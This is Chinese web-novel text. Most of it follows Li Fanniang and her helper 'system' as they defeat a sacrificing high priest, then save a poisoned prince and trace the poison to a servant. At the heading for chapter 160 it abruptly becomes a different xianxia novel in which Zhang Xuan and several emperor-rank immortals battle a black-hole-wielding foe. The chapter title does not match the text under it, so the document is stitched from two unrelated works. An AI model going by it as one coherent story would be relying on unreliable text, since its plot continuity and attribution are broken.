“好!”杜仁绍毫不犹豫,“王猛!赵虎!” “末将在!” “立刻准备,挑选一百精锐,备足物资,明日清晨,出发天火峰。” “得令!” “巴图首领,”杜仁绍看向巴图,“烦请带路,黑石部的勇士,可愿随行?” “愿意!”巴图拍着胸脯,“西羌人害死我们那么多族人,此仇必报!” 天火峰位于西羌腹地,终年云雾缭绕,山顶积雪皑皑,山腰以下却是郁郁葱葱的森林。 传说中,这里是西羌神灵居住之地,凡人不得擅入。 在巴图和黑石部向导的带领下,队伍避开西羌哨卡,穿行在山林中。 越靠近天火峰,气氛越发诡异。 空气中弥漫着硫磺味儿,一片寂静,鸟兽绝迹,只有风吹过树叶的沙沙声,带着一种令人心悸的死寂。 “前面就是‘迷雾谷’!”巴图指着前方一片被浓雾笼罩的山谷,“遗迹就在谷底,但…这雾有古怪,进去的人…很容易迷失方向,甚至…发疯。” 【宿主,这雾里有高浓度硫化氢、二氧化碳、少量致幻孢子,长期吸入可致幻、昏迷、死亡。】 “雾气有毒,所有人穿防护服!开过滤!” 队伍迅速换上防护服,开头盔的过滤系统。 雾气浓得化不开,能见度不足五米。 脚下是苔藓和碎石。 四周一片死寂,只有防护服内循环系统发出的微弱声响。 系统提供的夜视仪和热成像仪发挥了巨大作用,帮助队伍避开深坑和毒沼。 走了约莫半个时辰,前方豁然开朗。 浓雾被一股无形的力量阻隔在外,一片被群山环抱的谷地出现在眼前。 谷地中央,矗立着一片残破的巨石建筑。 风格古朴苍凉,布满青苔和藤蔓,显然年代极其久远。 建筑群的核心,是一座半坍塌的金字塔形祭坛,祭坛周围,散落着石柱和雕刻着诡异图腾的巨石。 而在祭坛下方,赫然有一个被人工挖出来的洞口,。 洞口周围,搭建着简易的营寨,数十名西羌士兵正在巡逻。 营寨内,隐约可见穿着黑袍的人影晃动。 “就是那里!”巴图压低声音,“遗迹入口!” “守卫森严…”杜仁绍眼神凝重,“强攻不易,而且…大祭司很可能就在里面。” “潜入!”李梵娘果断道,“解决外围守卫,然后…直捣黄龙!” “好!”杜仁绍点头,“王猛!赵虎!带人解决外围巡逻!动作要快!” “得令!” 王猛、赵虎带着二十名精锐靠近,李梵娘让系统开启声波晕眩器,守卫的士兵瞬间倒下。 “进!”杜仁绍一挥手,队伍迅速冲向洞口。 洞口幽深,向下延伸。 通道两侧插着火把,光线昏暗。 第一百五十六章 大祭司死了 空气中弥漫着浓烈的硫磺味和一丝若有若无的腥甜气息。 “小心,可能有毒!”李梵娘提醒道。 队伍开启防护服的空气过滤,走了约莫百米,前方出现一个天然溶洞。 溶洞内灯火通明,景象却让所有人倒吸一口冷气。 溶洞中央,是一个巨大的血池!池中翻滚着暗红色的粘稠液体,散发着浓烈的血腥和硫磺混合的恶臭!血池周围,矗立着九根雕刻着狰狞鬼面的石柱!石柱顶端,燃烧着幽绿色的火焰!将整个溶洞映照得如同鬼域! 血池旁,数十名身穿黑袍戴着面具的人,正跪伏在地,口中念念有词,进行着某种邪恶的仪式。 而在血池正上方,一个由白骨和黑色晶石搭建的祭坛上,一个身披暗金色长袍,脸上覆着青铜鬼面具的人正高举法杖。 正是西羌大祭司! 祭坛下方,还绑着十几个衣衫褴褛、神情麻木的南诏和西羌百姓,他们眼神空洞。 “他们在干什么?!”王猛声音带着惊骇。 “献祭。”李梵娘眼神冰冷,“用活人献祭!进行某种邪恶仪式!” “住手!”杜仁绍怒吼一声,瞬间打破了溶洞内诡异的氛围。 所有黑袍人猛地抬起头,面具下的眼睛充满了惊愕和愤怒。 大祭司的吟唱戛然而止。 他缓缓转过身,青铜鬼面具下的眼睛,死死地盯住了…李梵娘。 “你…终于来了…”大祭司的声音沙哑而飘忽,“异世之魂…命运的钥匙…” “你…认识我?”李梵娘强压下心中的寒意,声音冰冷。 “认识?”大祭司发出诡异的笑声,“呵呵呵…何止认识!我追寻你的踪迹…跨越了时空…终于…在这个节点…找到了你。” “李梵娘…或者说…来自异世的孤魂!” 他手中的法杖指向李梵娘,声音拔高,带着癫狂:“你是开启‘永生之门’的唯一钥匙。你的灵魂…蕴含着穿越时空的奥秘!” “只要将你献祭给圣山之神!以你的灵魂为引,以这万千生灵的血肉为祭品,我…就能获得永恒的生命!不朽的力量!成为…真正的神!” “疯子!”杜仁绍怒喝一声,“装神弄鬼!妖言惑众!给我拿下!” “杀!”王猛、赵虎怒吼一声,带着玄甲军扑向那些黑袍人。 “保护大祭司!”数十名黑袍人立刻拔出弯刀,不怕死地迎了上来。 他们动作迅捷,招式诡异。 更可怕的是,他们口中能喷出黑色的烟雾,手里的也是淬了毒的飞镖。 瞬间将冲在最前面的几名玄甲军逼退。 “小心毒雾!”李梵娘厉声提醒。 “系统,来个散风扇” 【好嘞,遵命!】 两台风扇伪装成风神鼓出现,瞬间将毒雾吹散。 同时,一层淡蓝色的能量护盾笼罩在李梵娘、杜仁绍和所有玄甲军士兵身上。 毒镖射在护盾上,发出“叮叮当当”的脆响。 “神迹,夫人显灵了!”玄甲军士兵士气大振,怒吼着冲杀上去。 刀光剑影,血肉横飞。 黑袍人很快落入下风。 大祭司看着自己的毒雾和毒镖被轻易化解,眼中闪惊愕,随即化为怨毒。 他猛地将法杖插入祭坛中央的凹槽。 “嗡——!” 整个溶洞剧烈震动起来,血池中的液体翻滚,九根鬼面石柱上的火焰猛地暴涨。 “沉睡的亡灵,听从我的召唤,以血为引、以魂为祭、苏醒吧。”大祭司张开双臂。 “咔嚓!咔嚓!” 令人牙酸的声音响起,只见血池周围的地面,竟然裂开一道道缝隙。 一只只缠绕着黑气的骨爪从地下伸出。 紧接着,散发着恶臭的骷髅和腐烂的尸体,挣扎着从地下爬了出来。 他们扑向玄甲军。 “尸…尸变?!”王猛惊骇失色,士兵们也面露惧色。 “不是尸变!”李梵娘看着系统给出的扫描结果,这是大祭司利用声波共振,配合致幻孢子,强行刺激尸体残留的神组织,制造出的“行尸走肉”。 再加上致幻效果,让人误以为是尸变。 “别怕!”李梵娘声音清越,“是幻术和邪法操控,用火攻强光噪音干扰。” “系统,来个闪光弹!” “捂住眼睛!捂住耳朵!”李梵娘大喝一声,同时将数枚“闪光弹”和“噪音发生器”扔向尸群和黑袍人。 “轰!轰!轰!” “啊——!”黑袍人发出凄厉的惨叫,纷纷捂住眼睛和耳朵,痛苦倒地。 那些被操控的“行尸”动作瞬间变得僵硬,仿佛失去了控制。 “烧!”杜仁绍抓住机会。 玄甲军士兵立刻将燃烧弹投向尸群和血池边缘。 “轰——!” 熊熊烈焰冲天而起,瞬间将那些腐烂的尸体和挣扎的黑袍人吞没。 凄厉的惨叫声和皮肉烧焦的噼啪声不绝于耳,空气中弥漫着令人作呕的焦臭。 大祭司看着自己精心准备的一切瞬间灰飞烟灭,眼里满是惊骇和暴怒。 “不——!不可能!我的亡灵大军!我的永生祭品!李梵娘!你…你竟敢毁我神术!” 他猛地拔出法杖,指向李梵娘,黑水晶爆发出刺目的黑光。 同时,他口中念着诡异的咒语,试图用精神攻击李梵娘。 “梵娘小心!”杜仁绍脸色一变。 李梵娘只觉得脑袋猛地一痛,眼前尸山血海,仿佛要将她拖入地狱。 【宿主大大,醒醒!】 系统驱散了幻象,李梵娘眼神恢复清明。 她冷冷地看着状若疯狂的大祭司:“雕虫小技,也敢班门弄斧。” “系统,给他来个声波攻击套餐。” 【好嘞,声波冲击炮,开炮!】 “噗——!” 大祭司身体猛地一僵,法杖碎裂。 他脸上的面具瞬满裂纹,鲜血从面具下汩汩涌出。 整个人如同断线的风筝,从祭坛上栽落下来,重重砸在血池边缘的石台上。 “大祭司!”残余的几个黑袍人跑过去。 杜仁绍眼神一厉,闪身出现在大祭司面前,手起刀落。 “噗嗤!” 头颅滚落在地,那双眼睛死死地瞪着前方。 不可一世的西羌大祭司…死了。 有的瘫软在地,有的则疯狂地扑向玄甲军士兵。 “清理战场!不留活口!”杜仁绍声音冰冷。 “得令!”王猛、赵虎立刻带人清剿残余黑袍人。 李梵娘走到大祭司的无头尸体旁,蹲下身,仔细检查。 第一百五十七章 销毁 残余的几名黑袍人看到这一幕,彻底崩溃。 她小心翼翼地用镊子取下那破碎的青铜面具。 面具下,是一张布满皱纹的脸,嘴角还残留着黑色的血迹。 显然,他本身也早已被自己炼制的邪毒侵蚀,命不久矣。 “异世之魂…永生之门…”李梵娘喃喃自语,心中涌起一股寒意。 一个被长生执念扭曲的疯子。 为了虚无缥缈的传说,不惜制造瘟疫,残害无数生灵。 最终…落得如此下场。 【宿主,在他身上我找到了羊皮卷,好像是‘永生之门’研究笔记,还有骨笛一支,应该是操控蛊虫和死尸的。】 果然,一切都可以用科学解释,所谓的“神术”、“亡灵”,不过是利用物理、化学和心理学制造的骗局。 李梵娘收起羊皮卷和骨笛,准备带回去研究或销毁,站起身,看向那翻滚的血池和祭坛。 “毁了这里。”她声音冰冷,“血池、祭坛、石柱…所有邪恶的东西,全部摧毁!不留后患!” “是!夫人!”士兵们立刻行动,将剩余的燃烧弹投入血池和祭坛。 “轰!轰!轰!” 熊熊火光中,那些被绑在祭坛下的无辜百姓被解救出来,看着眼前的景象,瑟瑟发抖,眼中充满了劫后余生的恐惧和茫然。 “巴图首领!”李梵娘看向黑石部首领,“麻烦你带人,将这些百姓安全送回他们的部落。” “夫人放心!”巴图躬身领命,看向李梵娘的目光充满了敬畏和感激。 今日所见,彻底颠覆了他的认知,李梵娘在他心中,已然是真正的“神女”。 “王猛!赵虎!”杜仁绍下令,“带人仔细搜查遗迹,看看还有没有其他密室或线索,尤其是关于‘永生之门’和‘异世之魂’的记录。全部带走或销毁!” “是!” 士兵们迅速散开,仔细搜查。 遗迹内除了那些邪恶的仪式场所,还有一些石室,里面堆放着各种古怪的药材、矿石、兽骨,以及一些残缺的壁画和石刻。 壁画上描绘着一些古老的祭祀场景和星象图,石刻则刻着一些难以辨认的古老文字。 李梵娘仔细看了看那些壁画和石刻。 【宿主大大,画的大部分是星象,还有啥灵魂转生】 看来,所谓的“永生之门”,很可能是大祭司根据这些原始记载,结合自己的疯狂臆想,扭曲出来的邪说。 “将军!夫人!”王猛捧着一个密封的青铜匣子跑了过来,“在主祭坛下的暗格里发现的,上面有锁。” 李梵娘接过青铜匣子。 匣子不大,入手很重,表面刻满了复杂的纹路。 锁孔很奇特,像是一个扭曲的钥匙孔。 “系统,你看看能打开吗?” 【宿主大大,他里面有个自毁装置,强开不太行,不过嘛,本统有万能钥匙,给,用吧。】 “谢谢统。”李梵娘从包里掏出系统放的钥匙。 “咔哒!”一声,青铜匣打开了。 匣子里,没有想象中的长生秘药或秘籍,只有一卷用泛黄的古老卷轴,以及…一块巴掌大小的黑石头。 李梵娘拿起卷轴,展开。 上面用一种古老的文字密密麻麻写了一大片,【宿主,大概就是个《古羌秘药录》残卷,记了贼多药材药方,还有解毒的方子。】 李梵娘心中狂喜,这不比什么虚无缥缈的长生值钱? 她又拿起那块黑石头。 入手温润,表面光滑,没有任何纹路。 【宿主啊,这个我也看不出来是个啥,反正没毒,也没辐射,不过有点儿能量。】 “看来…这就是大祭司要找的钥匙了…”李梵娘若有所思。 一块含微弱能量的石头? 能开什么“门”? 她摇摇头,不再多想。 至少,这份《古羌秘药录》不赖。 “收好!”李梵娘将卷轴和石头放入系统空间,“此地不宜久留,毁掉所有邪物,撤!” 士兵们将能带走的资料和可疑物品打包,带不走的全烧了。 队伍带着被解救的百姓,迅速撤离天火峰。 当最后一人走出迷雾谷时,身后传来一声闷响,整个山谷都在震动,浓烟滚滚,这里彻底塌了。 西羌大祭司的阴谋,连同他追寻的“永生”,一起化为了尘埃。 回到景洪城,消息传开,举城欢腾。 西羌大祭司伏诛,瘟疫源头铲除,笼罩在南疆头上的阴云终于散了。 南诏王后抱着康复的玉萝公主,率领群臣,以最高规格的礼仪,为李梵娘和杜仁绍举行了庆功宴。 南诏上下,视李梵娘为再造恩人,尊称她为“月神娘娘”、“救世医仙”。 杜仁绍的威名,也响彻南疆。 休整数日后,李梵娘和杜仁绍决定班师回朝。 南疆事了,京城还有不少事情等待他们处理。 临行前,南诏王后和国舅蒙泰亲自相送,依依不舍。 玉萝公主更是抱着李梵娘的腿,哭成了泪人。 “李姨姨…不要走…玉萝舍不得你…”小公主哭得梨花带雨。 李梵娘心中柔软,蹲下伸手擦去她的眼泪:“玉萝乖,好好长大,好好学本事。李姨会回来看你的。记住,要做一个仁爱、勇敢、心怀百姓的好国主!” “嗯,玉萝记住了!”小公主用力点头。 队伍启程,踏上归途。 来时瘟疫横行,危机四伏。 归时尘埃落定,百姓夹道相送。 李梵娘坐在马车上,看着窗外远去的南诏,心中感慨万千。 杜仁绍策马走在车旁,看着她,低声道:“累了?靠着我睡会儿?” 李梵娘摇摇头,微微一笑:“不累。只是…觉得肩上担子更重了。南疆虽平,但天下之大,还有无数病人在被病患折磨。” “有我在。”杜仁绍伸手握住她的手,“你想做什么,放手去做。天塌下来,我给你顶着。” 李梵娘反握着他的手,心中一片安宁。 就在这时,一匹快马从后方疾驰而来,马上骑士是留守京城的亲卫。 他冲到杜仁绍面前,神色焦急地递上一封密信:“将军!夫人!京城急报!九皇子殿下…遇刺重伤!危在旦夕!” “九殿下遇刺重伤?” 李梵娘和杜仁绍同时色变,这消息狠狠砸在两人心头。 “怎么回事?”杜仁绍一把夺过密信,声音带着压不住的怒气和急切。 第一百五十八章 九皇子中毒 李睿不仅是皇子,更是他们并肩作战的战友,他若出事,朝局必将大乱。 密信是李睿的心腹侍卫统领陈烈亲笔所写,字迹潦草,但字字透着惊惶。 “将军,夫人,十万火急!三日前深夜,殿下于王府书房批阅奏章时,遭两名蒙面刺客潜入行刺,刺客身手极高,所用兵器淬有剧毒。” “殿下虽被亲卫拼死救下,但身中三刀,毒入脏腑!御医束手无策,言…言恐难撑过三日,陛下震怒,封锁消息,严令追查。” “然…殿下气息奄奄,恐…恐…请夫人速归,救命!!!” “毒入脏腑!恐难撑过三日!”李梵娘的心瞬间沉到谷底,李睿的生死,牵一发而动全身。 “王猛!赵虎!”杜仁绍喊,“传令!全军轻装!抛弃一切辎重!只带药品和武器!昼夜兼程!务必在明日日落前赶回京城!违令者!斩!” “得令!” 玄甲军抛弃所有不必要的物品,只携带武器、干粮和急救药品,向着京城方向疯狂前进。 一路风驰电掣,战马口吐白沫,骑士疲惫不堪。 但没有人敢停歇,李梵娘和杜仁绍共乘一骑,她紧紧抱着他的腰,心中只有一个念头:快!再快一点! 终于在第二日黄昏时分到了。 “开城门!镇国公奉旨回京!”王猛高举令牌。 守城将领看清是杜仁绍,不敢怠慢,立刻打开城门。 队伍冲进京城,街道上行人纷纷避让,惊愕地看着这支发疯的军队。 九皇子府邸外,重兵把守。 皇帝李恒的心腹太监总管高公公焦急地在门口踱步,看到杜仁绍和李梵娘,如同见到救星。 “国公爷!夫人!你们可算回来了!快!快去看看殿下吧!御医…御医说…殿下…殿下怕是不行了…”高公公老泪纵横。 李梵娘和杜仁绍二话不说,冲进王府,直奔李睿的寝殿。 寝殿内,弥漫着浓重的药味。 几名御医跪在地上,瑟瑟发抖。 龙床上,李睿脸色青紫,嘴唇乌黑,双目紧闭,气息微弱得几乎感觉不到。 他身上盖着锦被,但露出的脖颈处,几道黑色伤口触目惊心,伤口周围皮肤肿胀溃烂,流着腥臭的黑血。 “梵娘!快!”杜仁绍声音嘶哑,眼中布满血丝。 李梵娘冲到床边,手指搭上李睿的腕脉,脉搏微弱杂乱,体温滚烫,瞳孔散大。 “系统!全面扫描!毒素分析!治疗方案!” 【宿主,毒素已侵入心脉、脑干,导致多器官衰竭。治疗方案已经传到你脑袋里了。】 “所有人!退出去!”李梵娘厉声喝道,“杜仁绍留下,其他人全部出去,没有我的命令,任何人不得入内,违者!杀无赦!” “是!是!”御医和高公公如蒙大赦,连滚爬爬地退出寝殿。 “梵娘…”杜仁绍紧紧握住她的手,声音颤抖,“救他!一定要救他!” “我会尽全力!”李梵娘反手握了一下他的手,“相信我!” 她意念一动,把所有他能用的东西都准备上。 在李梵娘的指挥下,杜仁绍协助她迅速将李睿转移到临时搭建的手术台上。 李梵娘动作麻利地连接上ECMO,心肺复苏仪启动,维持心跳。 同时,万能生物毒素清除剂注入李睿体内,清除血管和脏器中的毒素。 李梵娘戴上无菌手套,拿起手术刀,她必须尽快清除坏死组织,修复受损脏器。 手术在紧张进行。 杜仁绍站在一旁,看着妻子专注的样子,看着那些他从未见过的仪器上跳动的光点… 心中充满了震撼和骄傲。 这就是他的梵娘,他媳妇儿。 时间一分一秒过去。 汗水浸湿了李梵娘的鬓角。 杜仁绍默默地为她擦拭汗水。 两人之间,无需言语。 不知过了多久,李梵娘终于缝合完最后一针,她长长舒了一口气,身体微微晃了一下。 杜仁绍立刻扶住她。 “怎么样?”杜仁绍声音嘶哑。 “毒素…基本清除…坏死组织切除…脏器做了修复…”李梵娘疲惫地靠在杜仁绍身上,声音带着虚脱,“命暂时保住了,但…能不能醒过来…就看他的意志了…” 杜仁绍看着手术台上,李睿的脸色虽然依旧苍白,但青紫和乌黑已经褪去,呼吸虽然微弱,但已经平稳了不少。 他紧紧抱住李梵娘:“梵娘…谢谢你…” “还没结束…”李梵娘强撑着精神,“术后感染…才是大敌…必须24小时严密监控…用最好的抗生素…” “放心!我守着!”杜仁绍沉声道。 就在这时,系统突然发出警报:【宿主,还有未清除完的蛊毒!】 李梵娘的心瞬间提到了嗓子眼,本以为毒素已清,没想到还有? 这是有多怕九皇子活着,死的不透啊。 “系统,清除方法!”李梵娘急问。 【类似休眠孢子,与宿体神经系统存在微弱共生,无法强行清除,强行清除可能导致宿体脑死亡。】 共生?无法强行清除?激活即死? 李梵娘脸色煞白,这简直是在李睿体内埋了一颗随时可能爆炸的炸弹。 “梵娘?怎么了?”杜仁绍察觉到她的异样,急切问道。 李梵娘深吸一口气,强迫自己冷静下来,将情况低声告诉了杜仁绍。 杜仁绍的脸色阴沉得能滴出水来,“好毒的手段,这是要赶尽杀绝啊。” “当务之急,是防止蛊毒被意外激活。”李梵娘沉声道,“同时…必须尽快找出下蛊之人!找到解除方法!否则…李睿随时可能…” “我明白!”杜仁绍眼神锐,“高公公!” 守在殿外的高公公立刻进来。 “传令!”杜仁绍声音冰冷,“睿王府即刻起,由玄甲军接管,全面戒严,任何人不得进出,包括御医,所有殿下遇刺前接触过的人、物、地点 全部封存!由我亲自审查!另外…立刻请陛下移驾王府!有要事密奏!” “是!国公爷!”高公公领命而去。 皇帝很快赶到。 他面色憔悴,眼中布满血丝,显然为爱子重伤忧心如焚。 看到李睿现在的状态,他稍稍松了口气,但听到李梵娘汇报的“蛊毒”情况后,勃然大怒。 第一百五十九章 追查来源 “蛊毒?又是南疆邪术?岂有此理!查!给朕彻查!挖地三尺也要把幕后黑手揪出来!碎尸万段!”皇帝怒不可遏。 “陛下息怒!”李梵娘冷静道,“此蛊毒极其诡异,潜伏极深,难以清除。当务之急,是保护殿下安全,防止蛊毒被激活。” “同时,需秘密调查下蛊之人。臣妇怀疑…刺客行刺是幌子,目标…不仅仅是殿下!” “不仅仅是睿儿?”皇帝眼神一凝。 “对!”李梵娘分析道,“刺客行刺,动静太大,必然引起警觉。而蛊毒潜伏,无声无息,一旦激活,瞬间致命,且难以追查。” “这更像是…双重保险,确保殿下必死无疑,而且…能在殿下体内神不知鬼不觉种下如此奇蛊…此人…必然身份特殊!能近殿下之身!” 皇帝和杜仁绍都陷入了沉思。 能近李睿之身的人…范围并不大。 “陈烈!”杜仁绍沉声唤来李睿的侍卫统领,“殿下遇刺前几日,接触过哪些人?尤其是…饮食、汤药、贴身物品,经何人之手?” 陈烈仔细回忆:“回将军!殿下遇刺前,除了日常处理政务,接见官员,并无特殊。饮食由王府小厨房专人负责,经试毒太监查验。” “汤药…殿下前几日偶感风寒,是太医院周院正开的方子,由王妃娘娘亲自煎药服侍…贴身物品…都是王妃娘娘和几个贴身侍女打理…” 王妃?周院正? 李梵娘和杜仁绍对视一眼,都看到了对方眼中的凝重。 王妃是李睿的正妻,出身名门,贤良淑德,深得李睿敬重。 周院正是太医院首座,德高望重,深得皇帝信任。这两人…嫌疑似乎都不大。 “王妃和周院正…”皇帝眉头紧锁,“可有异常?” “王妃娘娘…悲痛欲绝,日夜守在殿下榻前…周院正…也是殚精竭虑…只是…殿下伤势太重…”陈烈低声道。 “梵娘,”杜仁绍看向李梵娘,“可有办法…检测蛊毒来源?或者…找出下蛊之人?” 李梵娘沉吟片刻,“系统,有没有能追踪蛊毒来源或检测下蛊者的道具?” 【宿主大大你这可就问对人了,生物信息素追踪器,可分析目标体内蛊毒生物信息素,追踪其培育者或近期接触者】 “行,就这个了,看看李睿身上这蛊毒。” 【好嘞,开始。】 片刻后,【培育源是太医院的药库,近期接触的人嘛,是睿王妃贴身侍女翠云】 太医院药材库?睿王妃的贴身侍女翠云? “太医院药材库…翠云…”李梵娘眼中寒光一闪,“陛下!将军!有线索了!蛊毒源头在太医院药材库!而近期接触过蛊毒的人…是睿王妃的贴身侍女——翠云!” “翠云?”陈烈失声惊呼,“她…她怎么会…” “立刻拿下翠云,查封太医院药材库,所有人等,一律拘押!严加审讯!”杜仁绍当机立断! “是!”王猛、赵虎领命而去。 皇帝脸色铁青:“查!给朕一查到底!朕倒要看看!是谁吃了熊心豹子胆!” 很快,翠云被带到王府偏殿。 她是个十七八岁的清秀丫鬟,此刻吓得面无人色,浑身发抖。 “翠云!”杜仁绍声音冰冷,“说!谁指使你给殿下下蛊的?” “下…下蛊?”翠云一脸茫然和惊恐,“奴婢…奴婢不知道啊!奴婢没有!奴婢冤枉啊!” “还敢狡辩!”李梵娘上前一步,拿出一个伪装成“蛊毒感应盘”的追踪器,上面的指针直指翠云。 “此物能感应蛊毒,你身上残留的蛊毒气息最浓,说!你最近接触过什么特殊的东西?或者…什么人?” 翠云看着那发光的“感应盘”,吓得魂飞魄散,扑通跪倒在地,哭喊道:“奴婢…奴婢真的不知道什么蛊毒啊!奴婢…奴婢只是…只是前几日…替王妃娘娘去太医院取过一次药…” “取药?”李梵娘眼神一凝,“取的什么药?给谁用?经手了哪些人?” “是…是给王妃娘娘取的安神药…”翠云泣不成声,“药是周院正亲自配的…奴婢…奴婢去药库取的…” “当时…当时药库的管事刘公公…说…说药还没配好…让奴婢稍等…后来…后来刘公公拿了一包药给奴婢…奴婢…奴婢就直接拿回来了…” “刘公公?”李梵娘和杜仁绍对视一眼,“他现在人在哪里?” “刘公公…他…他…”翠云突然想起什么,脸色更加惨白,“他…他在殿下遇刺后的第二天…就…就暴毙身亡了!说是…突发心疾…” 死了? “好一个死无对证!”杜仁绍眼中寒光更盛,“看来…这幕后之人,心思缜密,手段狠辣!杀人灭口,毫不手软!” “太医院药材库…刘公公…安神药…”李梵娘脑中飞速思考,“翠云只是取药人…说明药包上沾染了蛊毒,刘公公是配药人…他死了…那配药的地方…药材库。” “系统,找找源头,锁定药材库具体位置!” 【宿主大大,太医院药材库乙字三号药柜。】 “陛下,将军,请移驾太医院药材库!”李梵娘果断道,“蛊毒源头就在那里!” 太医院药材库已被玄甲军严密把守,所有相关人员都被拘押在院中,气氛紧张压抑。 李梵娘、杜仁绍、皇帝李恒在重兵护卫下,直奔乙字三号药柜。 打开柜门,里面分门别类地存放着各种珍稀药材。 “系统,找蛊毒残留。” 【宿主,药材包装上…发现微量‘蛊毒’残留,残留浓度最高点:第三层左侧角落,那个不起眼的小药盒。】 李梵娘立刻上前,在第三层角落找到了那个小药盒。 盒子不大,做工精致,上面没有标签。 她小心打开盒子,里面是空的,但盒底和内壁,残留着一些肉眼几乎看不见的淡蓝色粉末。 “就是这个,蛊毒粉就是装在这里面。” “空的?”杜仁绍皱眉,“毒粉呢?被用了?还是被转移了?” “盒子是空的…但残留还在…”李梵娘仔细观察盒子,“系统,分析盒子材质和残留粉末。” 【宿主,其他的我刚刚都说了,但是我刚刚又检测出龙涎香。】 第一百六十章 睿王妃 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 